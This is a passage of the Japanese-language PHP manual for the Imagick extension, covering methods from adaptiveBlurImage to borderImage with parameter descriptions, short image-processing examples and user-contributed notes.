  • Imagick::selectiveBlurImage — Description
  • Imagick::separateImageChannel — 画像からチャネルを分離する
  • Imagick::sepiaToneImage — 画像をセピア調にする
  • Imagick::setBackgroundColor — オブジェクトのデフォルト背景色を設定する
  • Imagick::setColorspace — 色空間を設定する
  • Imagick::setCompression — オブジェクトのデフォルトの圧縮方式を設定する
  • Imagick::setCompressionQuality — オブジェクトのデフォルトの圧縮品質を設定する
  • Imagick::setFilename — 画像を読み書きする前にファイル名を設定する
  • Imagick::setFirstIterator — Imagick イテレータを最初の画像に設定する
  • Imagick::setFont — フォントを設定する
  • Imagick::setFormat — Imagick オブジェクトのフォーマットを設定する
  • Imagick::setGravity — gravity を設定する
  • Imagick::setImage — オブジェクト内の画像を置き換える
  • Imagick::setImageAlphaChannel — 画像のアルファチャネルを設定する
  • Imagick::setImageArtifact — 画像のアーチファクトを設定する
  • Imagick::setImageAttribute — Description
  • Imagick::setImageBackgroundColor — 画像の背景色を設定する
  • Imagick::setImageBias — 画像を折りたたむ任意のメソッドについて画像のバイアスを設定する
  • Imagick::setImageBiasQuantum — Description
  • Imagick::setImageBluePrimary — 青が一番強い点を設定する
  • Imagick::setImageBorderColor — 画像の前景色を設定する
  • Imagick::setImageChannelDepth — 特定の画像チャネルの深度を設定する
  • Imagick::setImageClipMask — 画像のクリップマスクを設定する
  • Imagick::setImageColormapColor — 指定した色マップインデックスの色を設定する
  • Imagick::setImageColorspace — 画像の色空間を設定する
  • Imagick::setImageCompose — 画像の合成演算子を設定する
  • Imagick::setImageCompression — 画像の圧縮を設定する
  • Imagick::setImageCompressionQuality — 画像の圧縮品質を設定する
  • Imagick::setImageDelay — 画像の遅延を設定する
  • Imagick::setImageDepth — 画像の深度を設定する
  • Imagick::setImageDispose — 画像の配置方法を設定する
  • Imagick::setImageExtent — 画像のサイズを設定する
  • Imagick::setImageFilename — 特定の画像のファイル名を設定する
  • Imagick::setImageFormat — 特定の画像のフォーマットを設定する
  • Imagick::setImageGamma — 画像のガンマを設定する
  • Imagick::setImageGravity — 画像の gravity を設定する
  • Imagick::setImageGreenPrimary — 緑が一番強い点を設定する
  • Imagick::setImageIndex — イテレータの位置を設定する
  • Imagick::setImageInterlaceScheme — 画像のインターレース手法を設定する
  • Imagick::setImageInterpolateMethod — 画像のピクセル補間方式を設定する
  • Imagick::setImageIterations — 画像の反復を設定する
  • Imagick::setImageMatte — 画像のマットチャネルを設定する
  • Imagick::setImageMatteColor — 画像のマット色を設定する
  • Imagick::setImageOpacity — 画像の不透明度を設定する
  • Imagick::setImageOrientation — 画像の方向を設定する
  • Imagick::setImagePage — 画像のページのジオメトリを設定する
  • Imagick::setImageProfile — 指定した名前の画像プロファイルを Imagick オブジェクトに追加する
  • Imagick::setImageProperty — 画像のプロパティを設定する
  • Imagick::setImageRedPrimary — 赤が一番強い点を設定する
  • Imagick::setImageRenderingIntent — 画像のレンダリング方向を設定する
  • Imagick::setImageResolution — 画像の解像度を設定する
  • Imagick::setImageScene — 画像のシーンを設定する
  • Imagick::setImageTicksPerSecond — 画像の ticks-per-second を設定する
  • Imagick::setImageType — 画像の型を設定する
  • Imagick::setImageUnits — 画像の解像度の単位を設定する
  • Imagick::setImageVirtualPixelMethod — 画像の仮想ピクセルメソッドを設定する
  • Imagick::setImageWhitePoint — 画像の色度が白い点を設定する
  • Imagick::setInterlaceScheme — 画像の圧縮を設定する
  • Imagick::setIteratorIndex — イテレータの位置を設定する
  • Imagick::setLastIterator — Imagick イテレータを最後の画像に設定する
  • Imagick::setOption — オプションを設定する
  • Imagick::setPage — Imagick オブジェクトのページジオメトリを設定する
  • Imagick::setPointSize — ポイントサイズを設定する
  • Imagick::setProgressMonitor — Description
  • Imagick::setRegistry — Description
  • Imagick::setResolution — 画像の解像度を設定する
  • Imagick::setResourceLimit — 特定のリソースの制限を設定する
  • Imagick::setSamplingFactors — 画像のサンプリング係数を設定する
  • Imagick::setSize — Imagick オブジェクトのサイズを設定する
  • Imagick::setSizeOffset — Imagick オブジェクトのサイズのオフセットを設定する
  • Imagick::setType — 画像タイプ属性を設定する
  • Imagick::shadeImage — 3D 効果を作成する
  • Imagick::shadowImage — 画像の影をシミュレートする
  • Imagick::sharpenImage — 画像をシャープにする
  • Imagick::shaveImage — 画像の輪郭からピクセルを刈り取る
  • Imagick::shearImage — 平行四辺形を作成する
  • Imagick::sigmoidalContrastImage — 画像のコントラストを調整する
  • Imagick::sketchImage — 鉛筆画をシミュレートする
  • Imagick::smushImages — Description
  • Imagick::solarizeImage — 画像にソラリゼーション効果を適用する
  • Imagick::sparseColorImage — 色を補間する
  • Imagick::spliceImage — 無地の画像を作成する
  • Imagick::spreadImage — ブロック内の各ピクセルをランダムに移動する
  • Imagick::statisticImage — Description
  • Imagick::steganoImage — デジタル透かしを画像に埋め込む
  • Imagick::stereoImage — ふたつの画像を合成する
  • Imagick::stripImage — 画像からすべてのプロパティやコメントを除去する
  • Imagick::subImageMatch — Description
  • Imagick::swirlImage — 画像の中心から、ピクセルを渦巻状にする
  • Imagick::textureImage — テクスチャ画像をタイル状に並べる
  • Imagick::thresholdImage — 閾値にもとづいて個々のピクセルの値を変更する
  • Imagick::thumbnailImage — 画像のサイズを変更する
  • Imagick::tintImage — 色ベクトルを画像の各ピクセルに適用する
  • Imagick::__toString — Returns the image as a string
  • Imagick::transformImage — 切り取るサイズと画像のジオメトリを設定する便利なメソッド
  • Imagick::transformImageColorspace — Transforms an image to a new colorspace
  • Imagick::transparentPaintImage — ピクセルを透過させる
  • Imagick::transposeImage — 垂直方向に反転させた画像を作成する
  • Imagick::transverseImage — 水平方向に反転させた画像を作成する
  • Imagick::trimImage — 画像の輪郭を削除する
  • Imagick::uniqueImageColors — ある 1 色以外のすべての色のピクセルを削除する
  • Imagick::unsharpMaskImage — 画像をシャープにする
  • Imagick::valid — 現在のアイテムが有効かどうかを調べる
  • Imagick::vignetteImage — ビネットフィルタを画像に追加する
  • Imagick::waveImage — ウェーブフィルタを画像に適用する
  • Imagick::whiteThresholdImage — 閾値に満たないすべてのピクセルを白にする
  • Imagick::writeImage — 指定した名前で画像を書き込む
  • Imagick::writeImageFile — 画像をファイルハンドルに書き出す
  • Imagick::writeImages — 画像あるいは画像シーケンスを書き込む
  • Imagick::writeImagesFile — フレームをファイルハンドルに書き出す

User Contributed Notes

benkuhl at gmail dot com 24-Jan-2013 07:52
When using this library with PDFs, the term "image" applies to a page where the pointer begins at the last page of the document.

<?php

$document = new Imagick('myPdf.pdf'); //2 page PDF

$document->getNumberImages(); //returns 2

var_dump($document->hasNextImage()); //returns false - remember, we're on the last page
var_dump($document->hasPreviousImage()); //returns true

?>

If you need to do more than generate thumbnails from a PDF, use XPDF: http://www.foolabs.com/xpdf/home.html
php at mattjanssen dot com 21-Dec-2010 12:39
You can find the documentation for all of these magick_wand--the interface Imagic seems to be built on--functions at http://www.graphicsmagick.org/wand/magick_wand.html
StealthFox at live dot com 23-Oct-2008 07:15
Users looking to save  with these functions should know it can be done easily, for example

<?php
header ("Content-Type: image/{$Imagick->getImageFormat()}");
$data = $Imagick->getImageBlob ();
echo $data;
file_put_contents ('test.png', $data);
?>

That would display the image, and then save it to test.png. Such things are helpful especially when you need to reload images after creating them or save for later. :)


adaptive blur (順応性にじみ) フィルタを画像に追加する

  • ≪ Imagick
  • Imagick::adaptiveResizeImage ≫
  • PHP Manual
  • Imagick
  • adaptive blur (順応性にじみ) フィルタを画像に追加する

Imagick::adaptiveBlurImage

(PECL imagick 2, PECL imagick 3)

Imagick::adaptiveBlurImage — adaptive blur (順応性にじみ) フィルタを画像に追加する

説明

public Imagick::adaptiveBlurImage ( float $radius , float $sigma , int $channel = Imagick::CHANNEL_DEFAULT ) : bool

adaptive blur (順応性にじみ) フィルタを画像に追加します。 adaptive blur の効果は、画像の端に近づくほど弱くなります。 一方、標準の blur の場合は画像全体に均一に働きます。 このメソッドは、ImageMagick バージョン 6.2.9 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

radius

ガウス分布の半径。中心を含まないピクセル数。 0 を指定すると、半径を自動的に選択します。

sigma

ガウス分布の標準偏差 (ピクセル単位)。

channel

そのモードで有効なチャネル定数を指定します。 複数のチャネルを適用するには、チャネル定数 をビット演算子で組み合わせます。デフォルトは Imagick::CHANNEL_DEFAULT です。 チャネル定数 の一覧を参照ください。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Imagick::adaptiveBlurImage() の使用法

画像に順応性にじみを適用し、ブラウザに表示します。

<?php

header('Content-type: image/jpeg');

$image = new Imagick('test.jpg');

$image->adaptiveBlurImage(5,3);
echo $image;

?>

上の例の出力は、 たとえば以下のようになります。

出力例 : Imagick::adaptiveBlurImage() の使用法

参考

  • Imagick::blurImage() - blur (にじみ) フィルタを画像に追加する
  • Imagick::motionBlurImage() - モーションブラーをシミュレートする
  • Imagick::radialBlurImage() - 画像にラジアルブラーを施す

User Contributed Notes

michael at dodwell dot us 28-Aug-2014 12:59
Be aware that this function is extremely CPU intensive.


データに依存する三角測量にもとづいて画像のサイズを変更する

  • ≪ Imagick::adaptiveBlurImage
  • Imagick::adaptiveSharpenImage ≫
  • PHP Manual
  • Imagick
  • データに依存する三角測量にもとづいて画像のサイズを変更する

Imagick::adaptiveResizeImage

(PECL imagick 2, PECL imagick 3)

Imagick::adaptiveResizeImage — データに依存する三角測量にもとづいて画像のサイズを変更する

説明

public Imagick::adaptiveResizeImage ( int $columns , int $rows , bool $bestfit = false , bool $legacy = false ) : bool

データに依存する三角測量にもとづいて画像のサイズを変更します。 色が突然変わる箇所でのにじみを避けます。 たとえば、画像をほんの少しだけ縮小して "ウェブサイズ" にする場合などに便利です。フルサイズの画像のサムネイルを作成する場合などは、 あまりうまくいかないかもしれません。 このメソッドは、ImageMagick バージョン 6.2.9 以降で Imagick をコンパイルした場合に使用可能です。

注意: パラメータ bestfit の挙動は Imagick 3.0.0 で変わりました。 これより前のバージョンでは、200x150 の画像に対して 400x400 を指定した場合は何もせずそのままになっていました。 Imagick 3.0.0 以降では、この画像は 400x300 に拡大されます。これが、 指定したサイズに対して「ベストフィット」する大きさだからです。 bestfit を使う場合は、幅と高さの両方を指定しなければなりません。

パラメータ

columns

変更後の画像のカラム数。

rows

変更後の画像の行数。

bestfit

画像の大きさをバウンディングボックスにあわせるかどうか。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

変更履歴

バージョン | 説明
PECL imagick 2.1.0 | オプションの fit パラメータが追加されました。
PECL imagick 2.1.0 | このメソッドは、比例形式の拡大・縮小をサポートするようになりました。 どちらかのパラメータにゼロを渡すと比例形式の拡大・縮小を行います。

例

例1 Imagick::adaptiveResizeImage() の使用法

画像のサイズをウェブの標準サイズに変更します。 このメソッドは、元のサイズより少しだけ小さくする場合に最適です。 size.

<?php
header('Content-type: image/jpeg');

$image = new Imagick('image.jpg');
$image->adaptiveResizeImage(1024,768);

echo $image;
?>

参考

  • Imagick::chopImage() - 画像の一部を取り除き、切り詰める
  • Imagick::cropImage() - 画像の一部を抽出する
  • Imagick::magnifyImage() - 画像を 2 倍に比例拡大する
  • Imagick::minifyImage() - 画像をその半分のサイズに比例縮小する
  • Imagick::resizeImage() - 画像のサイズを変更する
  • Imagick::scaleImage() - 画像のサイズを変更する
  • Imagick::shaveImage() - 画像の輪郭からピクセルを刈り取る
  • Imagick::thumbnailImage() - 画像のサイズを変更する
  • Imagick::trimImage() - 画像の輪郭を削除する

User Contributed Notes

There are no user contributed notes for this page.


順応して画像をシャープにする

  • ≪ Imagick::adaptiveResizeImage
  • Imagick::adaptiveThresholdImage ≫
  • PHP Manual
  • Imagick
  • 順応して画像をシャープにする

Imagick::adaptiveSharpenImage

(PECL imagick 2, PECL imagick 3)

Imagick::adaptiveSharpenImage — 順応して画像をシャープにする

説明

public Imagick::adaptiveSharpenImage ( float $radius , float $sigma , int $channel = Imagick::CHANNEL_DEFAULT ) : bool

画像をシャープにします。 画像の端の方ほど強くシャープ処理を行い、 端から離れるにつれてシャープ処理の程度を弱くします。 このメソッドは、ImageMagick バージョン 6.2.9 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

radius

ガウス分布の半径。中心を含まないピクセル数。 0 を使用すると自動的に選択します。

sigma

ガウス分布の標準偏差 (ピクセル単位)。

channel

そのモードで有効なチャネル定数を指定します。 複数のチャネルを適用するには、チャネル定数 をビット演算子で組み合わせます。デフォルトは Imagick::CHANNEL_DEFAULT です。 チャネル定数 の一覧を参照ください。

返り値

成功した場合に true を返します。

例

例1 Imagick::adaptiveSharpenImage() の例

半径 2、シグマ 1 で順応性のシャープ処理を施します。

<?php
try {
    $image = new Imagick('image.png');
    $image->adaptiveSharpenImage(2,1);
} catch(ImagickException $e) {
    echo 'Error: ' , $e->getMessage();
    die();
}
header('Content-type: image/png');
echo $image;
?>

参考

  • Imagick::sharpenImage() - 画像をシャープにする

User Contributed Notes

There are no user contributed notes for this page.


輝度の範囲にもとづいて各ピクセルの閾値を選択する

  • ≪ Imagick::adaptiveSharpenImage
  • Imagick::addImage ≫
  • PHP Manual
  • Imagick
  • 輝度の範囲にもとづいて各ピクセルの閾値を選択する

Imagick::adaptiveThresholdImage

(PECL imagick 2, PECL imagick 3)

Imagick::adaptiveThresholdImage — 輝度の範囲にもとづいて各ピクセルの閾値を選択する

説明

public Imagick::adaptiveThresholdImage ( int $width , int $height , int $offset ) : bool

周辺のピクセルの輝度の範囲にもとづいて、 各ピクセルの閾値を選択します。 画像全体の輝度のヒストグラムが特定の頂点を持っていない場合の閾値の設定が可能となります。

パラメータ

width

周辺の幅。

height

周辺の高さ。

offset

平均オフセット。

返り値

成功した場合に true を返します。

例

例1 Imagick::adaptiveThresholdImage()

<?php
function adaptiveThresholdImage($imagePath, $width, $height, $adaptiveOffset) {
    $imagick = new \Imagick(realpath($imagePath));
    $adaptiveOffsetQuantum = intval($adaptiveOffset * \Imagick::getQuantum());
    $imagick->adaptiveThresholdImage($width, $height, $adaptiveOffsetQuantum);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


新しい画像を Imagick オブジェクトの画像リストに追加する

  • ≪ Imagick::adaptiveThresholdImage
  • Imagick::addNoiseImage ≫
  • PHP Manual
  • Imagick
  • 新しい画像を Imagick オブジェクトの画像リストに追加する

Imagick::addImage

(PECL imagick 2, PECL imagick 3)

Imagick::addImage — 新しい画像を Imagick オブジェクトの画像リストに追加する

説明

public Imagick::addImage ( Imagick $source ) : bool

元オブジェクトの現在の位置にある新しい画像を、 Imagick オブジェクトの画像リストに追加します。 この操作を行うと、イテレータがリストの最後尾に移動します。

パラメータ

source

元の Imagick オブジェクト。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

bernie at dakotanetwork dot com 29-Nov-2011 03:42
create a favicon.ico with multiple resolutions

<?php

$src_img = new Imagick("src_img.png");
$icon = new Imagick();
$icon->setFormat("ico");

$geo=$src_img->getImageGeometry();

$size_w=$geo['width'];
$size_h=$geo['height'];

if (128/$size_w*$size_h>128) {
  $src_img->scaleImage(128,0);
} else {
  $src_img->scaleImage(0,128);
}

$src_img->cropImage(128, 128, 0, 0);

$clone = $src_img->clone();
$clone->scaleImage(16,0);
$icon->addImage($clone);

$clone = $src_img->clone();
$clone->scaleImage(32,0);
$icon->addImage($clone);

$clone = $src_img->clone();
$clone->scaleImage(64,0);
$icon->addImage($clone);

$clone = $src_img->clone();
$clone->scaleImage(128,0);
$icon->addImage($clone);

$icon->writeImages("favicon.ico", true);

$src_img->destroy();
$icon->destroy();
$clone->destroy();

?>


ランダムなノイズを画像に追加する

  • ≪ Imagick::addImage
  • Imagick::affineTransformImage ≫
  • PHP Manual
  • Imagick
  • ランダムなノイズを画像に追加する

Imagick::addNoiseImage

(PECL imagick 2, PECL imagick 3)

Imagick::addNoiseImage — ランダムなノイズを画像に追加する

説明

public Imagick::addNoiseImage ( int $noise_type , int $channel = Imagick::CHANNEL_DEFAULT ) : bool

ランダムなノイズを画像に追加します。

パラメータ

noise_type

ノイズの形式。 ノイズ定数 の一覧を参照ください。

channel

そのモードで有効なチャネル定数を指定します。 複数のチャネルを適用するには、チャネル定数 をビット演算子で組み合わせます。デフォルトは Imagick::CHANNEL_DEFAULT です。 チャネル定数 の一覧を参照ください。

返り値

成功した場合に true を返します。

例

例1 Imagick::addNoiseImage()

<?php
function addNoiseImage($noiseType, $imagePath, $channel) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->addNoiseImage($noiseType, $channel);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


画像を変換する

  • ≪ Imagick::addNoiseImage
  • Imagick::animateImages ≫
  • PHP Manual
  • Imagick
  • 画像を変換する

Imagick::affineTransformImage

(PECL imagick 2, PECL imagick 3)

Imagick::affineTransformImage — 画像を変換する

説明

public Imagick::affineTransformImage ( ImagickDraw $matrix ) : bool

アフィン行列の指定にしたがって画像を変換します。

パラメータ

matrix

アフィン行列。

返り値

成功した場合に true を返します。

例

例1 Imagick::affineTransformImage()

<?php
function affineTransformImage($imagePath) {
    $imagick = new \Imagick(realpath($imagePath));
    $draw = new \ImagickDraw();

    $angle = deg2rad(40);

    $affineRotate = array(
        "sx" => cos($angle), "sy" => cos($angle),
        "rx" => sin($angle), "ry" => -sin($angle),
        "tx" => 0, "ty" => 0,
    );

    $draw->affine($affineRotate);

    $imagick->affineTransformImage($draw);

    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

SkepticaLee 19-Feb-2020 08:37
This function is obsolete. Use distortImage() instead, with the affine transformation constant, and an array of six values, sx, rx, ry, sy, tx, ty.
peter dot e dot lind at gmail dot com 30-Dec-2014 08:27
This method has not been properly implemented it seems - it has no effect whatsoever on the image.


画像を動かす

  • ≪ Imagick::affineTransformImage
  • Imagick::annotateImage ≫
  • PHP Manual
  • Imagick
  • 画像を動かす

Imagick::animateImages

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::animateImages — 画像を動かす

説明

public Imagick::animateImages ( string $x_server ) : bool

このメソッドは、ローカルあるいはリモートの X サーバーで画像を動かします。 このメソッドは Windows では使えません。 このメソッドは、ImageMagick バージョン 6.3.6 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

x_server

X サーバーのアドレス。

返り値

成功した場合に true を返します。

参考

  • Imagick::displayImage() - 画像を表示する

User Contributed Notes

gomadurai at gmail dot com 14-Aug-2009 03:31
Below eg shows how to create animated gif
<?php

$multiTIFF = new Imagick();

$mytifspath = "./man"; // your image directory

$files = scandir($mytifspath);

//print_r($files);

/*foreach( $files as $f )
{*/

for($i=2;$i<6;$i++)
{
    echo $files[$i];

    echo "<br>";
    $auxIMG = new Imagick();
    $auxIMG->readImage($mytifspath."/".$files[$i]);

    $multiTIFF->addImage($auxIMG);
}

//file multi.TIF
$multiTIFF->writeImages('multi423432.gif', true); // combine all image into one single image

//files multi-0.TIF, multi-1.TIF, ...
$multiTIFF->writeImages('multi.gif', false);

?>


画像にテキストによる注記を加える

  • ≪ Imagick::animateImages
  • Imagick::appendImages ≫
  • PHP Manual
  • Imagick
  • 画像にテキストによる注記を加える

Imagick::annotateImage

(PECL imagick 2, PECL imagick 3)

Imagick::annotateImage — 画像にテキストによる注記を加える

説明

public Imagick::annotateImage ( ImagickDraw $draw_settings , float $x , float $y , float $angle , string $text ) : bool

テキストによる注記を画像に加えます。

パラメータ

draw_settings

テキスト描画設定を含む ImagickDraw オブジェクト。

x

テキストの左端の水平オフセットをあらわすピクセル数。

y

テキストのベースラインの垂直オフセットをあらわすピクセル数。

angle

テキストを書き出す角度。

text

描画するテキスト。

返り値

成功した場合に true を返します。

例

例1 Imagick::annotateImage() の使用法

空の画像にテキスト注記を加えます。

<?php
/* オブジェクトを作成します */
$image = new Imagick();
$draw = new ImagickDraw();
$pixel = new ImagickPixel( 'gray' );

/* 画像を作成します */
$image->newImage(800, 75, $pixel);

/* 黒いテキスト */
$draw->setFillColor('black');

/* フォントのプロパティ */
$draw->setFont('Bookman-DemiItalic');
$draw->setFontSize( 30 );

/* テキストの作成 */
$image->annotateImage($draw, 10, 45, 0, 'The quick brown fox jumps over the lazy dog');

/* 画像形式の設定 */
$image->setImageFormat('png');

/* ヘッダをつけて画像の出力 */
header('Content-type: image/png');
echo $image;

?>

参考

  • ImagickDraw::annotation() - 画像上にテキストを描画する
  • ImagickDraw::setFont() - テキストによる注記を行う際に使用するフォントを設定する

User Contributed Notes

yakuza88 at op dot pl 26-Aug-2016 07:30
Does not work with CMYK color values and images. Only RGB.
www dot query at gmail dot com 08-Sep-2011 08:13
$image->annotateImage($draw, 10, 45, 0, 'The quick brown fox');

If the third parameter, the 'Y' value, is 0, the text will be invisible because the text is printed ABOVE the image - not on the image.

The solution is to start, depending on your chosen font size, with a Y value of about 40 and experiment.

[Also:]

When wishing to print some text on a photograph and make that text sufficiently contrasting to the background image, use a 4 byte code for colour and transparency.

It is the same 4 byte code using by the parameter '-undercolor' in ImageMagick's command lime instruction 'convert'.

The first 3 bytes are the RGB colour code and the fourth byte is the transparency byte.

<?php
   $picin = new Imagick($pic1);
   $picin->scaleimage(800,0);
   $height = $picin->getimageheight();

   $draw = new ImagickDraw();
   $draw->setFillColor('#ffff00');
   $draw->setFont('Eurostile');
   $draw->setFontSize(21);
   $draw->setTextUnderColor('#ff000088');
   $picin->annotateImage($draw,40,$height-10,0,"Hallo");

   $picin->writeimage($pic6);
?>

The example code produces yellow text on a semi-transparent red background.

$pic1 and $pic6 were previously defined as directory/file strings.
alan at ridersite dot org 23-Aug-2007 12:37
If ImagickDraw::setGravity ( int $gravity ) has been set, e,g; with $gravity= imagick::GRAVITY_CENTER.

Then, the x and y values offset the text from where the gravity setting would have placed it.

If the example included: $draw->setGravity (Imagick::GRAVITY_CENTER);
$image->annotateImage($draw, 10, 45, 0, 'The quick brown fox jumps over the lazy dog');

The text would be rendered to the right 10px and down 45px from the center.

Gravity constants are very useful as they can save having to calculate the placement of variable text strings and font sizes.


画像群を追加する

  • ≪ Imagick::annotateImage
  • Imagick::autoLevelImage ≫
  • PHP Manual
  • Imagick
  • 画像群を追加する

Imagick::appendImages

(PECL imagick 2, PECL imagick 3)

Imagick::appendImages — 画像群を追加する

説明

public Imagick::appendImages ( bool $stack ) : Imagick

画像群を、ひとつの大きな画像に追加します。

パラメータ

stack

画像を垂直方向に積むかどうか。デフォルト (あるいは false を指定した場合) は、画像を左から右に積みます。stack が true の場合は、画像を上から下に積みます。

返り値

成功した場合に Imagick インスタンスを返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Imagick::appendImages() の例

<?php

/* 新しい imagick オブジェクトを作成します */
$im = new Imagick();

/* 赤、緑、そして青の画像を作成します */
$im->newImage(100, 50, "red");
$im->newImage(100, 50, "green");
$im->newImage(100, 50, "blue");

/* それらをひとつの画像に追加します */
$im->resetIterator();
$combined = $im->appendImages(true);

/* 画像を出力します */
$combined->setImageFormat("png");
header("Content-Type: image/png");
echo $combined;
?>

上の例の出力は、 たとえば以下のようになります。

出力例 : Imagick::appendImages()

User Contributed Notes

adao at adao dot eti dot br 30-Sep-2014 12:59
# change $ima to $ima->getimagesblob()

<?php
$im1 = new Imagick();
$im1->readImage('multi-page-pdf.pdf');
$im1->resetIterator();
# Combine multiple images into one, stacked vertically.
$ima = $im1->appendImages(true);
$ima->setImageFormat("png");
header("Content-Type: image/png");
echo $ima->getimagesblob();
?>
Anonymous 14-Mar-2014 05:08
Sometimes when running this code on a long running apache24 instance on a server with minimal memory the final "echo $ima;" returns an empty string.

Doing an "apache graceful" seems to clear this up.  There appears to be no other way to correct OR DETECT this problem. Suckky.
Brandon 12-Nov-2009 12:56
# How to combine a multi-page pdf file into a single long image:

<?php
$im1 = new Imagick();
$im1->readImage('multi-page-pdf.pdf');
$im1->resetIterator();
# Combine multiple images into one, stacked vertically.
$ima = $im1->appendImages(true);
$ima->setImageFormat("png");
header("Content-Type: image/png");
echo $ima;
?>


Description

  • ≪ Imagick::appendImages
  • Imagick::averageImages ≫
  • PHP Manual
  • Imagick
  • Description

Imagick::autoLevelImage

(PECL imagick 3 >= 3.3.0)

Imagick::autoLevelImage — Description

説明

public Imagick::autoLevelImage ( int $channel = Imagick::CHANNEL_DEFAULT ) : bool

Adjusts the levels of a particular image channel by scaling the minimum and maximum values to the full quantum range.

パラメータ

channel

Which channel should the auto-levelling should be done on.

返り値

成功した場合に true を返します。

例

例1 Imagick::autoLevelImage()

<?php
function autoLevelImage($imagePath) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->autoLevelImage();
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


画像群を平均化する

  • ≪ Imagick::autoLevelImage
  • Imagick::blackThresholdImage ≫
  • PHP Manual
  • Imagick
  • 画像群を平均化する

Imagick::averageImages

(PECL imagick 2, PECL imagick 3)

Imagick::averageImages — 画像群を平均化する

警告

この関数は Imagick 3.4.4 以降では 非推奨 になりました。この関数に依存したコードを書くのはやめましょう。

説明

public Imagick::averageImages ( ) : Imagick

画像群を平均化します。

返り値

成功した場合に Imagick インスタンスを返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


閾値に満たないすべてのピクセルを黒にする

  • ≪ Imagick::averageImages
  • Imagick::blueShiftImage ≫
  • PHP Manual
  • Imagick
  • 閾値に満たないすべてのピクセルを黒にする

Imagick::blackThresholdImage

(PECL imagick 2, PECL imagick 3)

Imagick::blackThresholdImage — 閾値に満たないすべてのピクセルを黒にする

説明

public Imagick::blackThresholdImage ( mixed $threshold ) : bool

Imagick::thresholdImage() と似ていますが、 これは閾値に満たないピクセルをすべて黒にし、その他のピクセルはそのままにします。

パラメータ

threshold

すべて黒にする閾値。

返り値

成功した場合に true を返します。

変更履歴

バージョン | 説明
PECL imagick 2.1.0 | 色を表す文字列をパラメータとして指定できるようになりました。 これまでのバージョンでは ImagickPixel オブジェクトしか指定できませんでした。

例

例1 Imagick::blackThresholdImage()

<?php
function blackThresholdImage($imagePath, $thresholdColor) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->blackthresholdimage($thresholdColor);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

Iddles 06-Jul-2011 05:35
You need to pass this function a colour:

<?php

$img->blackThresholdImage( "#FFFFFF" );

?>

E.g. this blackens any pixel which isn't pure white.
elmer at web-axis dot net 30-Nov-2008 03:33
Here's a example of this function:

<?php
  $img = new Imagick();
  $img->readImage($image_file_name);
  $img->blackThresholdImage('grey');
  $img->writeImage($thumb_file_name);
  $img->clear();
  $img->destroy();
?>


Description

  • ≪ Imagick::blackThresholdImage
  • Imagick::blurImage ≫
  • PHP Manual
  • Imagick
  • Description

Imagick::blueShiftImage

(PECL imagick 3 >= 3.3.0)

Imagick::blueShiftImage — Description

説明

public Imagick::blueShiftImage ( float $factor = 1.5 ) : bool

Mutes the colors of the image to simulate a scene at nighttime in the moonlight.

パラメータ

factor

返り値

成功した場合に true を返します。

例

例1 Imagick::blueShiftImage()

<?php
function blueShiftImage($imagePath, $blueShift) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->blueShiftImage($blueShift);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


blur (にじみ) フィルタを画像に追加する

  • ≪ Imagick::blueShiftImage
  • Imagick::borderImage ≫
  • PHP Manual
  • Imagick
  • blur (にじみ) フィルタを画像に追加する

Imagick::blurImage

(PECL imagick 2, PECL imagick 3)

Imagick::blurImage — blur (にじみ) フィルタを画像に追加する

説明

public Imagick::blurImage ( float $radius , float $sigma , int $channel = ? ) : bool

blur (にじみ) フィルタを画像に追加します。 オプションの 3 番目のパラメータを指定すると、 特定のチャネルにのみ適用します。

パラメータ

radius

にじみの半径。

sigma

標準偏差。

channel

チャネル 定数。 省略した場合は全チャネルが対象となります。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Imagick::blurImage() の使用法

画像をにじませ、ブラウザに表示します。

<?php

header('Content-type: image/jpeg');

$image = new Imagick('test.jpg');

$image->blurImage(5,3);
echo $image;

?>

参考

  • Imagick::adaptiveBlurImage() - adaptive blur (順応性にじみ) フィルタを画像に追加する
  • Imagick::motionBlurImage() - モーションブラーをシミュレートする
  • Imagick::radialBlurImage() - 画像にラジアルブラーを施す

User Contributed Notes

There are no user contributed notes for this page.


画像の周りを枠線で囲む

  • ≪ Imagick::blurImage
  • Imagick::brightnessContrastImage ≫
  • PHP Manual
  • Imagick
  • 画像の周りを枠線で囲む

Imagick::borderImage

(PECL imagick 2, PECL imagick 3)

Imagick::borderImage — 画像の周りを枠線で囲む

説明

public Imagick::borderImage ( mixed $bordercolor , int $width , int $height ) : bool

画像の周りを枠線で囲みます。枠線の色は ImagickPixel オブジェクトで指定します。

パラメータ

bordercolor

枠線の色を含む ImagickPixel オブジェクトあるいは文字列。

width

枠線の幅。

height

枠線の高さ。

返り値

成功した場合に true を返します。

変更履歴

バージョン | 説明
PECL imagick 2.1.0 | 色を表す文字列を最初のパラメータとして指定できるようになりました。 これまでのバージョンでは ImagickPixel オブジェクトしか指定できませんでした。

例

例1 Imagick::borderImage()

<?php
function borderImage($imagePath, $color, $width, $height) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->borderImage($color, $width, $height);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

